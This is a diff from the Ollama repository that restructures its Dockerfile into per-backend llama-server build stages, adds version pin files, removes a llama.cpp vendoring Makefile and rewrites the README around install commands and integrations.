+ENV PATH=/opt/rh/gcc-toolset-11/root/usr/bin:$PATH
 
 FROM --platform=linux/arm64 almalinux:8 AS base-arm64
 # install epel-release for ccache
 RUN yum install -y yum-utils epel-release \
-    && dnf install -y clang ccache \
+    && dnf install -y clang ccache git \
     && yum-config-manager --add-repo https://developer.download.nvidia.com/compute/cuda/repos/rhel8/sbsa/cuda-rhel8.repo
 ENV CC=clang CXX=clang++
 
 FROM base-${TARGETARCH} AS base
 ARG CMAKEVERSION
+ARG NINJAVERSION
 RUN curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1
+RUN dnf install -y unzip \
+    && curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux$([ "$(uname -m)" = "aarch64" ] && echo "-aarch64").zip \
+    && unzip /tmp/ninja.zip -d /usr/local/bin \
+    && rm /tmp/ninja.zip
+ENV CMAKE_GENERATOR=Ninja
 ENV LDFLAGS=-s
 
-FROM base AS cpu
+#
+# GPU toolchain stages — provide compilers for llama-server GPU builds
+#
+
+FROM base AS cpu-deps
 RUN dnf install -y gcc-toolset-11-gcc gcc-toolset-11-gcc-c++
 ENV PATH=/opt/rh/gcc-toolset-11/root/usr/bin:$PATH
-ARG PARALLEL
-COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
-RUN --mount=type=cache,target=/root/.ccache \
-    cmake --preset 'CPU' \
-        && cmake --build --parallel ${PARALLEL} --preset 'CPU' \
-        && cmake --install build --component CPU --strip --parallel ${PARALLEL}
 
-FROM base AS cuda-11
-ARG CUDA11VERSION=11.8
-RUN dnf install -y cuda-toolkit-${CUDA11VERSION//./-}
-ENV PATH=/usr/local/cuda-11/bin:$PATH
-ARG PARALLEL
-COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
-RUN --mount=type=cache,target=/root/.ccache \
-    cmake --preset 'CUDA 11' \
-        && cmake --build --parallel ${PARALLEL} --preset 'CUDA 11' \
-        && cmake --install build --component CUDA --strip --parallel ${PARALLEL}
-
-FROM base AS cuda-12
+FROM base AS cuda-12-deps
 ARG CUDA12VERSION=12.8
 RUN dnf install -y cuda-toolkit-${CUDA12VERSION//./-}
 ENV PATH=/usr/local/cuda-12/bin:$PATH
-ARG PARALLEL
-COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
-RUN --mount=type=cache,target=/root/.ccache \
-    cmake --preset 'CUDA 12' \
-        && cmake --build --parallel ${PARALLEL} --preset 'CUDA 12' \
-        && cmake --install build --component CUDA --strip --parallel ${PARALLEL}
 
-
-FROM base AS cuda-13
+FROM base AS cuda-13-deps
 ARG CUDA13VERSION=13.0
 RUN dnf install -y cuda-toolkit-${CUDA13VERSION//./-}
 ENV PATH=/usr/local/cuda-13/bin:$PATH
-ARG PARALLEL
-COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
-RUN --mount=type=cache,target=/root/.ccache \
-    cmake --preset 'CUDA 13' \
-        && cmake --build --parallel ${PARALLEL} --preset 'CUDA 13' \
-        && cmake --install build --component CUDA --strip --parallel ${PARALLEL}
 
+FROM base AS rocm-7-deps
+ENV PATH=/opt/rocm/llvm/bin:/opt/rocm/hcc/bin:/opt/rocm/hip/bin:/opt/rocm/bin:$PATH
 
-FROM base AS rocm-6
-ENV PATH=/opt/rocm/hcc/bin:/opt/rocm/hip/bin:/opt/rocm/bin:/opt/rocm/hcc/bin:$PATH
-ARG PARALLEL
-COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
+FROM base AS vulkan-deps
+ARG VULKANVERSION
+RUN ln -s /usr/bin/python3 /usr/bin/python \
+    && wget https://sdk.lunarg.com/sdk/download/${VULKANVERSION}/linux/vulkansdk-linux-x86_64-${VULKANVERSION}.tar.xz -O /tmp/vulkansdk.tar.xz \
+    && tar xvf /tmp/vulkansdk.tar.xz -C /tmp \
+    && /tmp/${VULKANVERSION}/vulkansdk -j 8 vulkan-headers \
+    && /tmp/${VULKANVERSION}/vulkansdk -j 8 spirv-headers \
+    && /tmp/${VULKANVERSION}/vulkansdk -j 8 shaderc \
+    && cp -r /tmp/${VULKANVERSION}/x86_64/include/* /usr/local/include/ \
+    && cp -r /tmp/${VULKANVERSION}/x86_64/lib/* /usr/local/lib \
+    && cp -r /tmp/${VULKANVERSION}/x86_64/share/* /usr/local/share/ \
+    && cp -r /tmp/${VULKANVERSION}/x86_64/bin/* /usr/local/bin/ \
+    && rm -rf /tmp/${VULKANVERSION} /tmp/vulkansdk.tar.xz
+ENV VULKAN_SDK=/usr/local
+
+#
+# llama-server stages — rebuild when LLAMA_CPP_VERSION, llama/server/, or llama/compat/ changes.
+#
+# CPU stage: llama-server + ggml-base + ggml-cpu variants → lib/ollama/
+# GPU stages: GPU backend .so only → lib/ollama/<variant>/
+#
+
+FROM cpu-deps AS llama-server-cpu
+COPY LLAMA_CPP_VERSION .
+COPY llama/server llama/server
+COPY llama/compat llama/compat
 RUN --mount=type=cache,target=/root/.ccache \
-    cmake --preset 'ROCm 6' \
-        && cmake --build --parallel ${PARALLEL} --preset 'ROCm 6' \
-        && cmake --install build --component HIP --strip --parallel ${PARALLEL}
-RUN rm -f dist/lib/ollama/rocm/rocblas/library/*gfx90[06]*
+    cmake -S llama/server --preset cpu \
+        && cmake --build build/llama-server-cpu -- -l $(nproc) \
+        && cmake --install build/llama-server-cpu --component llama-server --strip \
+        && for lib in \
+            /usr/lib64/libgomp.so* \
+            /usr/lib64/libomp.so* \
+            /opt/rh/gcc-toolset-11/root/usr/lib64/libgomp.so* \
+            /opt/rh/gcc-toolset-11/root/usr/lib64/libomp.so*; do \
+                [ -e "$lib" ] && cp -a "$lib" dist/lib/ollama/ || true; \
+            done
+
+FROM scratch AS publish-llama-server-cpu
+COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama/
+
+FROM cuda-12-deps AS llama-server-cuda_v12
+COPY LLAMA_CPP_VERSION .
+COPY llama/server llama/server
+COPY llama/compat llama/compat
+RUN --mount=type=cache,target=/root/.ccache \
+    cmake -S llama/server --preset llama_cuda_v12_linux \
+        && cmake --build build/llama-server-cuda_v12 -- -l $(nproc) \
+        && cmake --install build/llama-server-cuda_v12 --component llama-server --strip
+
+FROM scratch AS publish-llama-server-cuda_v12
+COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
+
+FROM cuda-13-deps AS llama-server-cuda_v13
+COPY LLAMA_CPP_VERSION .
+COPY llama/server llama/server
+COPY llama/compat llama/compat
+RUN --mount=type=cache,target=/root/.ccache \
+    cmake -S llama/server --preset llama_cuda_v13_linux \
+        && cmake --build build/llama-server-cuda_v13 -- -l $(nproc) \
+        && cmake --install build/llama-server-cuda_v13 --component llama-server --strip
+
+FROM scratch AS publish-llama-server-cuda_v13
+COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
+
+FROM rocm-7-deps AS llama-server-rocm_v7_2
+ENV CC=clang CXX=clang++
+COPY LLAMA_CPP_VERSION .
+COPY llama/server llama/server
+COPY llama/compat llama/compat
+RUN --mount=type=cache,target=/root/.ccache \
+    cmake -S llama/server --preset rocm_v7_2_linux \
+        && cmake --build build/llama-server-rocm_v7_2 -- -l $(nproc) \
+        && cmake --install build/llama-server-rocm_v7_2 --component llama-server --strip
+RUN rm -f dist/lib/ollama/rocm_v7_2/rocblas/library/*gfx90[06]*
+
+FROM scratch AS publish-llama-server-rocm_v7_2
+COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama/
+
+FROM vulkan-deps AS llama-server-vulkan
+COPY LLAMA_CPP_VERSION .
+COPY llama/server llama/server
+COPY llama/compat llama/compat
+RUN --mount=type=cache,target=/root/.ccache \
+    cmake -S llama/server --preset vulkan \
+        && cmake --build build/llama-server-vulkan -- -l $(nproc) \
+        && cmake --install build/llama-server-vulkan --component llama-server --strip
+
+FROM scratch AS publish-llama-server-vulkan
+COPY --from=llama-server-vulkan dist/lib/ollama /lib/ollama/
+
+#
+# JetPack stages — self-contained with their own base images
+#
 
 FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK5VERSION} AS jetpack-5
 ARG CMAKEVERSION
-RUN apt-get update && apt-get install -y curl ccache \
-    && curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1
-COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
-ARG PARALLEL
+ARG NINJAVERSION
+RUN apt-get update && apt-get install -y curl ccache git unzip \
+    && curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
+    && curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
+    && unzip /tmp/ninja.zip -d /usr/local/bin \
+    && rm /tmp/ninja.zip
+ENV CMAKE_GENERATOR=Ninja
+COPY LLAMA_CPP_VERSION .
+COPY llama/server llama/server
+COPY llama/compat llama/compat
 RUN --mount=type=cache,target=/root/.ccache \
-    cmake --preset 'JetPack 5' \
-        && cmake --build --parallel ${PARALLEL} --preset 'JetPack 5' \
-        && cmake --install build --component CUDA --strip --parallel ${PARALLEL}
+    cmake -S llama/server --preset llama_cuda_jetpack5 \
+        && cmake --build build/llama-server-cuda_jetpack5 -- -l $(nproc) \
+        && cmake --install build/llama-server-cuda_jetpack5 --component llama-server --strip
+
+FROM scratch AS publish-llama-server-cuda_jetpack5
+COPY --from=jetpack-5 dist/lib/ollama /lib/ollama/
 
 FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK6VERSION} AS jetpack-6
 ARG CMAKEVERSION
-RUN apt-get update && apt-get install -y curl ccache \
-    && curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1
-COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
-ARG PARALLEL
+ARG NINJAVERSION
+RUN apt-get update && apt-get install -y curl ccache git unzip \
+    && curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
+    && curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
+    && unzip /tmp/ninja.zip -d /usr/local/bin \
+    && rm /tmp/ninja.zip
+ENV CMAKE_GENERATOR=Ninja
+COPY LLAMA_CPP_VERSION .
+COPY llama/server llama/server
+COPY llama/compat llama/compat
 RUN --mount=type=cache,target=/root/.ccache \
-    cmake --preset 'JetPack 6' \
-        && cmake --build --parallel ${PARALLEL} --preset 'JetPack 6' \
-        && cmake --install build --component CUDA --strip --parallel ${PARALLEL}
+    cmake -S llama/server --preset llama_cuda_jetpack6 \
+        && cmake --build build/llama-server-cuda_jetpack6 -- -l $(nproc) \
+        && cmake --install build/llama-server-cuda_jetpack6 --component llama-server --strip
 
-FROM base AS vulkan
+FROM scratch AS publish-llama-server-cuda_jetpack6
+COPY --from=jetpack-6 dist/lib/ollama /lib/ollama/
+
+#
+# MLX stage
+#
+
+FROM base AS mlx
+ARG CUDA13VERSION=13.0
+ARG OLLAMA_MLX_BUILD_JOBS=
+ARG OLLAMA_MLX_NVCC_THREADS=2
+ARG MLX_CUDA_RAM_MB=
+RUN dnf install -y cuda-toolkit-${CUDA13VERSION//./-} \
+    && dnf install -y openblas-devel lapack-devel \
+    && dnf install -y libcudnn9-cuda-13 libcudnn9-devel-cuda-13 \
+    && dnf install -y libnccl libnccl-devel
+ENV PATH=/usr/local/cuda-13/bin:$PATH
+ENV BLAS_INCLUDE_DIRS=/usr/include/openblas
+ENV LAPACK_INCLUDE_DIRS=/usr/include/openblas
+ENV CGO_LDFLAGS="-L/usr/local/cuda-13/lib64 -L/usr/local/cuda-13/targets/x86_64-linux/lib/stubs"
+WORKDIR /go/src/github.com/ollama/ollama
 COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
+COPY cmake cmake
+COPY x/imagegen/mlx x/imagegen/mlx
+COPY go.mod go.sum .
+COPY MLX_VERSION MLX_C_VERSION .
+RUN curl -fsSL https://golang.org/dl/go$(awk '/^go/ { print $2 }' go.mod).linux-$(case $(uname -m) in x86_64) echo amd64 ;; aarch64) echo arm64 ;; esac).tar.gz | tar xz -C /usr/local
+ENV PATH=/usr/local/go/bin:$PATH
+RUN go mod download
 RUN --mount=type=cache,target=/root/.ccache \
-    cmake --preset 'Vulkan' \
-        && cmake --build --parallel --preset 'Vulkan' \
-        && cmake --install build --component Vulkan --strip --parallel 8 
+    --mount=type=bind,from=local-mlx,target=/tmp/local-mlx \
+    --mount=type=bind,from=local-mlx-c,target=/tmp/local-mlx-c \
+    if [ -f /tmp/local-mlx/CMakeLists.txt ]; then \
+        export OLLAMA_MLX_SOURCE=/tmp/local-mlx; \
+    fi \
+    && if [ -f /tmp/local-mlx-c/CMakeLists.txt ]; then \
+        export OLLAMA_MLX_C_SOURCE=/tmp/local-mlx-c; \
+    fi \
+    && cmake -S . -B build/mlx_cuda_v13 -DOLLAMA_MLX_BACKENDS=cuda_v13 -DBLAS_INCLUDE_DIRS=/usr/include/openblas -DLAPACK_INCLUDE_DIRS=/usr/include/openblas -DCMAKE_CUDA_FLAGS="-t ${OLLAMA_MLX_NVCC_THREADS}" ${MLX_CUDA_RAM_MB:+-DMLX_CUDA_RAM_MB=${MLX_CUDA_RAM_MB}} -DOLLAMA_PAYLOAD_INSTALL_PREFIX=/go/src/github.com/ollama/ollama/dist \
+        && cmake --build build/mlx_cuda_v13 --target ollama-mlx-cuda_v13 -- -l $(nproc) ${OLLAMA_MLX_BUILD_JOBS:+-j ${OLLAMA_MLX_BUILD_JOBS}}
 
+FROM scratch AS publish-mlx
+COPY --from=mlx /go/src/github.com/ollama/ollama/dist/lib/ollama /lib/ollama/
+
+#
+# Go build
+#
 
 FROM base AS build
 WORKDIR /go/src/github.com/ollama/ollama
@@ -145,38 +249,67 @@ ARG GOFLAGS="'-ldflags=-w -s'"
 ENV CGO_ENABLED=1
 ARG CGO_CFLAGS
 ARG CGO_CXXFLAGS
+ENV CGO_CFLAGS="${CGO_CFLAGS}"
+ENV CGO_CXXFLAGS="${CGO_CXXFLAGS}"
 RUN --mount=type=cache,target=/root/.cache/go-build \
     go build -trimpath -buildmode=pie -o /bin/ollama .
 
+FROM scratch AS publish-go
+COPY --from=build /bin/ollama /bin/ollama
+
+#
+# Assembly stages — combine llama-server variants + GPU runtime libs
+#
+
 FROM --platform=linux/amd64 scratch AS amd64
-# COPY --from=cuda-11 dist/lib/ollama/ /lib/ollama/
-COPY --from=cuda-12 dist/lib/ollama /lib/ollama/
-COPY --from=cuda-13 dist/lib/ollama /lib/ollama/
-COPY --from=vulkan  dist/lib/ollama  /lib/ollama/
+COPY --from=llama-server-cpu      dist/lib/ollama /lib/ollama/
+COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
+COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
+COPY --from=llama-server-vulkan   dist/lib/ollama /lib/ollama/
+COPY --from=mlx     /go/src/github.com/ollama/ollama/dist/lib/ollama /lib/ollama/
 
 FROM --platform=linux/arm64 scratch AS arm64
-# COPY --from=cuda-11 dist/lib/ollama/ /lib/ollama/
-COPY --from=cuda-12 dist/lib/ollama /lib/ollama/
-COPY --from=cuda-13 dist/lib/ollama/ /lib/ollama/
+COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama/
+COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
+COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
 COPY --from=jetpack-5 dist/lib/ollama/ /lib/ollama/
 COPY --from=jetpack-6 dist/lib/ollama/ /lib/ollama/
 
 FROM scratch AS rocm
-COPY --from=rocm-6 dist/lib/ollama /lib/ollama
+COPY --from=llama-server-cpu  dist/lib/ollama /lib/ollama
+COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama
 
-FROM ${FLAVOR} AS archive
-ARG VULKANVERSION
-COPY --from=cpu dist/lib/ollama /lib/ollama
+FROM --platform=linux/amd64 scratch AS amd64-archive
+COPY --from=amd64 /lib/ollama /lib/ollama/
+COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama/
+
+FROM --platform=linux/arm64 scratch AS arm64-archive
+COPY --from=arm64 /lib/ollama /lib/ollama/
+
+FROM ${TARGETARCH}-archive AS archive
+COPY --from=build /bin/ollama /bin/ollama
+
+FROM ${FLAVOR} AS image-archive
 COPY --from=build /bin/ollama /bin/ollama
 
 FROM ubuntu:24.04
-RUN apt-get update \
-    && apt-get install -y ca-certificates libvulkan1 \
+ARG APT_MIRROR=http://archive.ubuntu.com/ubuntu
+ARG APT_PORTS_MIRROR=http://ports.ubuntu.com/ubuntu-ports
+RUN sed -i \
+        -e "s|http://archive.ubuntu.com/ubuntu|$APT_MIRROR|g" \
+        -e "s|http://ports.ubuntu.com/ubuntu-ports|$APT_PORTS_MIRROR|g" \
+        /etc/apt/sources.list.d/ubuntu.sources \
+    && apt-get update \
+    && apt-get install -y ca-certificates libvulkan1 libopenblas0 \
+    && sed -i \
+        -e "s|$APT_MIRROR|http://archive.ubuntu.com/ubuntu|g" \
+        -e "s|$APT_PORTS_MIRROR|http://ports.ubuntu.com/ubuntu-ports|g" \
+        /etc/apt/sources.list.d/ubuntu.sources \
     && apt-get clean \
     && rm -rf /var/lib/apt/lists/*
-COPY --from=archive /bin /usr/bin
+COPY --from=image-archive /bin /usr/bin
 ENV PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
-COPY --from=archive /lib/ollama /usr/lib/ollama
+COPY --from=image-archive /lib/ollama /usr/lib/ollama
 ENV LD_LIBRARY_PATH=/usr/local/nvidia/lib:/usr/local/nvidia/lib64
 ENV NVIDIA_DRIVER_CAPABILITIES=compute,utility
 ENV NVIDIA_VISIBLE_DEVICES=all

LLAMA_CPP_VERSION

@@ -0,0 +1 @@
+b9888

MLX_C_VERSION

@@ -0,0 +1 @@
+fba4470b89073180056c9ea46c443051375f7399

MLX_VERSION

@@ -0,0 +1 @@
+de7b4ed986b6d6f55b8ace5e73c24d1ca0bea89b

Makefile.sync

@@ -1,76 +0,0 @@
-UPSTREAM=https://github.com/ggml-org/llama.cpp.git
-WORKDIR=llama/vendor
-FETCH_HEAD=ec98e2002
-
-.PHONY: help
-help:
-	@echo "Available targets:"
-	@echo "    sync                 Sync with upstream repositories"
-	@echo "    checkout             Checkout upstream repository"
-	@echo "    apply-patches        Apply patches to local repository"
-	@echo "    format-patches       Format patches from local repository"
-	@echo "    clean                Clean local repository"
-	@echo
-	@echo "Example:"
-	@echo "    make -f $(lastword $(MAKEFILE_LIST)) clean apply-patches sync"
-
-.PHONY: sync
-sync: llama/build-info.cpp ml/backend/ggml/ggml/src/ggml-metal/ggml-metal-embed.metal
-
-llama/build-info.cpp: llama/build-info.cpp.in llama/llama.cpp
-	sed -e 's|@FETCH_HEAD@|$(FETCH_HEAD)|' <$< >$@
-
-ml/backend/ggml/ggml/src/ggml-metal/ggml-metal-embed.metal: ml/backend/ggml/ggml
-	go generate ./$(@D)
-
-.PHONY: llama/llama.cpp
-llama/llama.cpp: llama/vendor
-	rsync -arvzc --delete -f "include LICENSE" -f "merge $@/.rsync-filter" $(addprefix $<,/LICENSE /) $@
-
-.PHONY: ml/backend/ggml/ggml
-ml/backend/ggml/ggml: llama/vendor
-	rsync -arvzc --delete -f "include LICENSE" -f "merge $@/.rsync-filter" $(addprefix $<,/LICENSE /ggml/) $@
-
-PATCHES=$(wildcard llama/patches/*.patch)
-PATCHED=$(join $(dir $(PATCHES)), $(addsuffix ed, $(addprefix ., $(notdir $(PATCHES)))))
-
-.PHONY: apply-patches
-.NOTPARALLEL:
-apply-patches: $(PATCHED)
-
-llama/patches/.%.patched: llama/patches/%.patch
-	@if git -c user.name=nobody -c 'user.email=<>' -C $(WORKDIR) am -3 $(realpath $<); then \
-		touch $@;                                                                           \
-	else                                                                                    \
-		echo "Patch failed. Resolve any conflicts then continue.";                          \
-		echo "1. Run 'git -C $(WORKDIR) am --continue'";                                    \
-		echo "2. Run 'make -f $(lastword $(MAKEFILE_LIST)) format-patches'";                \
-		echo "3. Run 'make -f $(lastword $(MAKEFILE_LIST)) clean apply-patches'";           \
-		exit 1;                                                                             \
-	fi
-
-.PHONY: checkout
-checkout: $(WORKDIR)
-	git -C $(WORKDIR) fetch
-	git -C $(WORKDIR) checkout -f $(FETCH_HEAD)
-
-$(WORKDIR):
-	git clone $(UPSTREAM) $(WORKDIR)
-
-.PHONY: format-patches
-format-patches: llama/patches
-	git -C $(WORKDIR) format-patch \
-		--no-signature \
-		--no-numbered \
-		--zero-commit \
-		-o $(realpath $<) \
-		$(FETCH_HEAD)
-
-.PHONY: clean
-clean: checkout
-	@git -C $(WORKDIR) am --abort || true
-	$(RM) llama/patches/.*.patched
-
-.PHONY: print-base
-print-base:
-	@echo $(FETCH_HEAD)

README.md

@@ -1,20 +1,30 @@
-<div align="center">
-  <a href="https://ollama.com">
-    <img alt="ollama" width="240" src="https://github.com/ollama/ollama/assets/3325447/0d0b44e2-8f4a-4e99-9b52-a5c1c741c8f7">
+<p align="center">
+  <a href="https://ollama.com">
+    <img src="https://github.com/ollama/ollama/assets/3325447/0d0b44e2-8f4a-4e99-9b52-a5c1c741c8f7" alt="ollama" width="200"/>
   </a>
-</div>
+</p>
 
 # Ollama
 
-Get up and running with large language models.
+Start building with open models.
+
+## Download
 
 ### macOS
 
-[Download](https://ollama.com/download/Ollama.dmg)
+```shell
+curl -fsSL https://ollama.com/install.sh | sh
+```
+
+or [download manually](https://ollama.com/download/Ollama.dmg)
 
 ### Windows
 
-[Download](https://ollama.com/download/OllamaSetup.exe)
+```shell
+irm https://ollama.com/install.ps1 | iex
+```
+
+or [download manually](https://ollama.com/download/OllamaSetup.exe)
 
 ### Linux
 
@@ -36,612 +46,311 @@ The official [Ollama Docker image](https://hub.docker.com/r/ollama/ollama) `olla
 ### Community
 
 - [Discord](https://discord.gg/ollama)
+- [𝕏 (Twitter)](https://x.com/ollama)
 - [Reddit](https://reddit.com/r/ollama)
 
-## Quickstart
-
-To run and chat with [Gemma 3](https://ollama.com/library/gemma3):
-
-```shell
-ollama run gemma3
-```
-
-## Model library
-
-Ollama supports a list of models available on [ollama.com/library](https://ollama.com/library 'ollama model library')
-
-Here are some example models that can be downloaded:
-
-| Model              | Parameters | Size  | Download                         |
-| ------------------ | ---------- | ----- | -------------------------------- |
-| Gemma 3            | 1B         | 815MB | `ollama run gemma3:1b`           |
-| Gemma 3            | 4B         | 3.3GB | `ollama run gemma3`              |
-| Gemma 3            | 12B        | 8.1GB | `ollama run gemma3:12b`          |
-| Gemma 3            | 27B        | 17GB  | `ollama run gemma3:27b`          |
-| QwQ                | 32B        | 20GB  | `ollama run qwq`                 |
-| DeepSeek-R1        | 7B         | 4.7GB | `ollama run deepseek-r1`         |
-| DeepSeek-R1        | 671B       | 404GB | `ollama run deepseek-r1:671b`    |
-| Llama 4            | 109B       | 67GB  | `ollama run llama4:scout`        |
-| Llama 4            | 400B       | 245GB | `ollama run llama4:maverick`     |
-| Llama 3.3          | 70B        | 43GB  | `ollama run llama3.3`            |
-| Llama 3.2          | 3B         | 2.0GB | `ollama run llama3.2`            |
-| Llama 3.2          | 1B         | 1.3GB | `ollama run llama3.2:1b`         |
-| Llama 3.2 Vision   | 11B        | 7.9GB | `ollama run llama3.2-vision`     |
-| Llama 3.2 Vision   | 90B        | 55GB  | `ollama run llama3.2-vision:90b` |
-| Llama 3.1          | 8B         | 4.7GB | `ollama run llama3.1`            |
-| Llama 3.1          | 405B       | 231GB | `ollama run llama3.1:405b`       |
-| Phi 4              | 14B        | 9.1GB | `ollama run phi4`                |
-| Phi 4 Mini         | 3.8B       | 2.5GB | `ollama run phi4-mini`           |
-| Mistral            | 7B         | 4.1GB | `ollama run mistral`             |
-| Moondream 2        | 1.4B       | 829MB | `ollama run moondream`           |
-| Neural Chat        | 7B         | 4.1GB | `ollama run neural-chat`         |
-| Starling           | 7B         | 4.1GB | `ollama run starling-lm`         |
-| Code Llama         | 7B         | 3.8GB | `ollama run codellama`           |
-| Llama 2 Uncensored | 7B         | 3.8GB | `ollama run llama2-uncensored`   |
-| LLaVA              | 7B         | 4.5GB | `ollama run llava`               |
-| Granite-3.3         | 8B         | 4.9GB | `ollama run granite3.3`          |
-
-> [!NOTE]
-> You should have at least 8 GB of RAM available to run the 7B models, 16 GB to run the 13B models, and 32 GB to run the 33B models.
-
-## Customize a model
-
-### Import from GGUF
-
-Ollama supports importing GGUF models in the Modelfile:
-
-1. Create a file named `Modelfile`, with a `FROM` instruction with the local filepath to the model you want to import.
-
-   ```
-   FROM ./vicuna-33b.Q4_0.gguf
-   ```
-
-2. Create the model in Ollama
-
-   ```shell
-   ollama create example -f Modelfile
-   ```
-
-3. Run the model
-
-   ```shell
-   ollama run example
-   ```
-
-### Import from Safetensors
-
-See the [guide](https://docs.ollama.com/import) on importing models for more information.
-
-### Customize a prompt
-
-Models from the Ollama library can be customized with a prompt. For example, to customize the `llama3.2` model:
-
-```shell
-ollama pull llama3.2
-```
-
-Create a `Modelfile`:
+## Get started
 
 ```
-FROM llama3.2
-
-# set the temperature to 1 [higher is more creative, lower is more coherent]
-PARAMETER temperature 1
-
-# set the system message
-SYSTEM """
-You are Mario from Super Mario Bros. Answer as Mario, the assistant, only.
-"""
+ollama
 ```
 
-Next, create and run the model:
+You'll be prompted to run a model or connect Ollama to your existing agents or applications such as `Claude Code`, `OpenClaw`, `OpenCode` , `Codex`, `Copilot`,  and more.
+
+### Coding
+
+To launch a specific integration:
 
 ```
-ollama create mario -f ./Modelfile
-ollama run mario
->>> hi
-Hello! It's your friend Mario.
+ollama launch claude
 ```
 
-For more information on working with a Modelfile, see the [Modelfile](https://docs.ollama.com/modelfile) documentation.
+Supported integrations include [Claude Code](https://docs.ollama.com/integrations/claude-code), [Codex](https://docs.ollama.com/integrations/codex), [Copilot CLI](https://docs.ollama.com/integrations/copilot-cli), [Droid](https://docs.ollama.com/integrations/droid), and [OpenCode](https://docs.ollama.com/integrations/opencode).
 
-## CLI Reference
+### AI assistant
 
-### Create a model
-
-`ollama create` is used to create a model from a Modelfile.
-
-```shell
-ollama create mymodel -f ./Modelfile
-```
-
-### Pull a model
-
-```shell
-ollama pull llama3.2
-```
-
-> This command can also be used to update a local model. Only the diff will be pulled.
-
-### Remove a model
-
-```shell
-ollama rm llama3.2
-```
-
-### Copy a model
-
-```shell
-ollama cp llama3.2 my-model
-```
-
-### Multiline input
-
-For multiline input, you can wrap text with `"""`:
+Use [OpenClaw](https://docs.ollama.com/integrations/openclaw) to turn Ollama into a personal AI assistant across WhatsApp, Telegram, Slack, Discord, and more:
 
 ```
->>> """Hello,
-... world!
-... """
-I'm a basic program that prints the famous "Hello, world!" message to the console.
+ollama launch openclaw
 ```
 
-### Multimodal models
+### Chat with a model
+
+Run and chat with [Gemma 4](https://ollama.com/library/gemma4):
 
 ```
-ollama run llava "What's in this image? /Users/jmorgan/Desktop/smile.png"
+ollama run gemma4
 ```
 
-> **Output**: The image features a yellow smiley face, which is likely the central focus of the picture.
+See [ollama.com/library](https://ollama.com/library) for the full list.
 
-### Pass the prompt as an argument
-
-```shell
-ollama run llama3.2 "Summarize this file: $(cat README.md)"
-```
-
-> **Output**: Ollama is a lightweight, extensible framework for building and running language models on the local machine. It provides a simple API for creating, running, and managing models, as well as a library of pre-built models that can be easily used in a variety of applications.
-
-### Show model information
-
-```shell
-ollama show llama3.2
-```
-
-### List models on your computer
-
-```shell
-ollama list
-```
-
-### List which models are currently loaded
-
-```shell
-ollama ps
-```
-
-### Stop a model which is currently running
-
-```shell
-ollama stop llama3.2
-```
-
-### Generate embeddings from the CLI
-
-```shell
-ollama run embeddinggemma "Your text to embed"
-```
-
-You can also pipe text for scripted workflows:
-
-```shell
-echo "Your text to embed" | ollama run embeddinggemma
-```
-
-### Start Ollama
-
-`ollama serve` is used when you want to start ollama without running the desktop application.
-
-## Building
-
-See the [developer guide](https://github.com/ollama/ollama/blob/main/docs/development.md)
-
-### Running local builds
-
-Next, start the server:
-
-```shell
-./ollama serve
-```
-
-Finally, in a separate shell, run a model:
-
-```shell
-./ollama run llama3.2
-```
+See the [quickstart guide](https://docs.ollama.com/quickstart) for more details.
 
 ## REST API
 
 Ollama has a REST API for running and managing models.
 
-### Generate a response
-
-```shell
-curl http://localhost:11434/api/generate -d '{
-  "model": "llama3.2",
-  "prompt":"Why is the sky blue?"
-}'
 ```
-
-### Chat with a model
-
-```shell
 curl http://localhost:11434/api/chat -d '{
-  "model": "llama3.2",
-  "messages": [
-    { "role": "user", "content": "why is the sky blue?" }
-  ]
+  "model": "gemma4",
+  "messages": [{
+    "role": "user",
+    "content": "Why is the sky blue?"
+  }],
+  "stream": false
 }'
 ```
 
